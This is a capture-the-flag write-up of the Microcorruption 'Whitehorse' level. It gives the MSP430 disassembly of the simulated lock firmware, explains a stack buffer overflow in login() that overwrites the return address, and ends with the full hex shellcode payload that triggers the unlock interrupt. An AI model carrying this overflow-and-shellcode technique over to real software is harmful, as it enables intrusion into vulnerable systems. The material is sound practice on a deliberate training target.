Microcorruption CTF Whitehorse Write-up
- 6 minsSummary:
This is a write-up of my solution to the Microcorruption CTF challenge “Whitehorse” (LOCKIT PRO r c.01
).
I found this challenge to be relatively straightforward and easy to solve. Let’s check out what the program is doing.
0010 <__trap_interrupt> | |
0010: 3041 ret | |
4400 <__init_stack> | |
4400: 3140 863e mov #0x3e86, sp | |
4404 <__low_level_init> | |
4404: 1542 5c01 mov &0x015c, r5 | |
4408: 75f3 and.b #-0x1, r5 | |
440a: 35d0 085a bis #0x5a08, r5 | |
440e <__do_copy_data> | |
440e: 3f40 0000 clr r15 | |
4412: 0f93 tst r15 | |
4414: 0724 jz #0x4424 <__do_clear_bss+0x0> | |
4416: 8245 5c01 mov r5, &0x015c | |
441a: 2f83 decd r15 | |
441c: 9f4f c445 0024 mov 0x45c4(r15), 0x2400(r15) | |
4422: f923 jnz #0x4416 <__do_copy_data+0x8> | |
4424 <__do_clear_bss> | |
4424: 3f40 0000 clr r15 | |
4428: 0f93 tst r15 | |
442a: 0624 jz #0x4438 <main+0x0> | |
442c: 8245 5c01 mov r5, &0x015c | |
4430: 1f83 dec r15 | |
4432: cf43 0024 mov.b #0x0, 0x2400(r15) | |
4436: fa23 jnz #0x442c <__do_clear_bss+0x8> | |
4438 <main> | |
4438: b012 f444 call #0x44f4 <login> | |
443c <__stop_progExec__> | |
443c: 32d0 f000 bis #0xf0, sr | |
4440: fd3f jmp #0x443c <__stop_progExec__+0x0> | |
4442 <__ctors_end> | |
4442: 3040 c245 br #0x45c2 <_unexpected_> | |
4446 <conditional_unlock_door> | |
4446: 0412 push r4 | |
4448: 0441 mov sp, r4 | |
444a: 2453 incd r4 | |
444c: 2183 decd sp | |
444e: c443 fcff mov.b #0x0, -0x4(r4) | |
4452: 3e40 fcff mov #0xfffc, r14 | |
4456: 0e54 add r4, r14 | |
4458: 0e12 push r14 | |
445a: 0f12 push r15 | |
445c: 3012 7e00 push #0x7e | |
4460: b012 3245 call #0x4532 <INT> | |
4464: 5f44 fcff mov.b -0x4(r4), r15 | |
4468: 8f11 sxt r15 | |
446a: 3152 add #0x8, sp | |
446c: 3441 pop r4 | |
446e: 3041 ret | |
4470 .strings: | |
4470: "Enter the password to continue." | |
4490: "Remember: passwords are between 8 and 16 characters." | |
44c5: "Access granted." | |
44d5: "That password is not correct." | |
44f3: "" | |
44f4 <login> | |
44f4: 3150 f0ff add #0xfff0, sp | |
44f8: 3f40 7044 mov #0x4470 "Enter the password to continue.", r15 | |
44fc: b012 9645 call #0x4596 <puts> | |
4500: 3f40 9044 mov #0x4490 "Remember: passwords are between 8 and 16 characters.", r15 | |
4504: b012 9645 call #0x4596 <puts> | |
4508: 3e40 3000 mov #0x30, r14 | |
450c: 0f41 mov sp, r15 | |
450e: b012 8645 call #0x4586 <getsn> | |
4512: 0f41 mov sp, r15 | |
4514: b012 4644 call #0x4446 <conditional_unlock_door> | |
4518: 0f93 tst r15 | |
451a: 0324 jz #0x4522 <login+0x2e> | |
451c: 3f40 c544 mov #0x44c5 "Access granted.", r15 | |
4520: 023c jmp #0x4526 <login+0x32> | |
4522: 3f40 d544 mov #0x44d5 "That password is not correct.", r15 | |
4526: b012 9645 call #0x4596 <puts> | |
452a: 3150 1000 add #0x10, sp | |
452e: 3041 ret | |
4530 <__do_nothing> | |
4530: 3041 ret | |
4532 <INT> | |
4532: 1e41 0200 mov 0x2(sp), r14 | |
4536: 0212 push sr | |
4538: 0f4e mov r14, r15 | |
453a: 8f10 swpb r15 | |
453c: 024f mov r15, sr | |
453e: 32d0 0080 bis #0x8000, sr | |
4542: b012 1000 call #0x10 | |
4546: 3241 pop sr | |
4548: 3041 ret | |
454a <putchar> | |
454a: 2183 decd sp | |
454c: 0f12 push r15 | |
454e: 0312 push #0x0 | |
4550: 814f 0400 mov r15, 0x4(sp) | |
4554: b012 3245 call #0x4532 <INT> | |
4558: 1f41 0400 mov 0x4(sp), r15 | |
455c: 3150 0600 add #0x6, sp | |
4560: 3041 ret | |
4562 <getchar> | |
4562: 0412 push r4 | |
4564: 0441 mov sp, r4 | |
4566: 2453 incd r4 | |
4568: 2183 decd sp | |
456a: 3f40 fcff mov #0xfffc, r15 | |
456e: 0f54 add r4, r15 | |
4570: 0f12 push r15 | |
4572: 1312 push #0x1 | |
4574: b012 3245 call #0x4532 <INT> | |
4578: 5f44 fcff mov.b -0x4(r4), r15 | |
457c: 8f11 sxt r15 | |
457e: 3150 0600 add #0x6, sp | |
4582: 3441 pop r4 | |
4584: 3041 ret | |
4586 <getsn> | |
4586: 0e12 push r14 | |
4588: 0f12 push r15 | |
458a: 2312 push #0x2 | |
458c: b012 3245 call #0x4532 <INT> | |
4590: 3150 0600 add #0x6, sp | |
4594: 3041 ret | |
4596 <puts> | |
4596: 0b12 push r11 | |
4598: 0b4f mov r15, r11 | |
459a: 073c jmp #0x45aa <puts+0x14> | |
459c: 1b53 inc r11 | |
459e: 8f11 sxt r15 | |
45a0: 0f12 push r15 | |
45a2: 0312 push #0x0 | |
45a4: b012 3245 call #0x4532 <INT> | |
45a8: 2152 add #0x4, sp | |
45aa: 6f4b mov.b @r11, r15 | |
45ac: 4f93 tst.b r15 | |
45ae: f623 jnz #0x459c <puts+0x6> | |
45b0: 3012 0a00 push #0xa | |
45b4: 0312 push #0x0 | |
45b6: b012 3245 call #0x4532 <INT> | |
45ba: 2152 add #0x4, sp | |
45bc: 0f43 clr r15 | |
45be: 3b41 pop r11 | |
45c0: 3041 ret | |
45c2 <_unexpected_> | |
45c2: 0013 reti pc |
After the call to main()
and then login()
, we see a new function named conditional_unlock_door()
is being called. After this call returns and if r15
is not 0x0
, the message “Access granted” is printed and we return out of the function.
Let’s try some input and examine the state of the memory.
Our input AAAAAAAAAA
is placed onto the stack. Following the password buffer, we can see the return address to 0x443c
for when we return out of login()
.
After returning from getsn()
, the stack pointer address sp
is moved into register r15
and the program calls conditional_unlock_door()
.
4446 <conditional_unlock_door> | |
4446: 0412 push r4 | |
4448: 0441 mov sp, r4 | |
444a: 2453 incd r4 | |
444c: 2183 decd sp | |
444e: c443 fcff mov.b #0x0, -0x4(r4) | |
4452: 3e40 fcff mov #0xfffc, r14 | |
4456: 0e54 add r4, r14 | |
4458: 0e12 push r14 | |
445a: 0f12 push r15 | |
445c: 3012 7e00 push #0x7e | |
4460: b012 3245 call #0x4532 <INT> | |
4464: 5f44 fcff mov.b -0x4(r4), r15 | |
4468: 8f11 sxt r15 | |
446a: 3152 add #0x8, sp | |
446c: 3441 pop r4 | |
446e: 3041 ret |
The code will move some values around in the registers, and call the interrupt with code 0x7e
(?) and before returning, will execute the instruction mov.b -0x4(r4), r15
which will move a null byte from before our password buffer into r15
. Because of this, the tst r15
instruction in login()
will fail.
Two things to note. First, we should be able to overwrite the return address 0x443c
. Second, conditional_unlock_door()
(the way it’s coded) will actually never unlock the door. From the previous challenges, we learned that the code to the interrupt was 0x7f
.
444a <unlock_door>
444a: 3012 7f00 push #0x7f
444e: b012 c446 call #0x46c4 <INT>
4452: 2153 incd sp
4454: 3041 ret
However, conditional_unlock_door()
uses the code 0x7e
, which doesn’t actually unlock the door. Bummer.
But… what if we injected the instructions to the old unlock_door()
onto the stack (via our password buffer) and returned execution to it? After all, it’s only 12 bytes long and should fit in the buffer with room to spare before we reach the return address. Let’s whip up our new payload, making sure we fix the address of the call to INT()
give it a shot…
Flag (mouse over to reveal)
30127f00b01232452153304141414141743e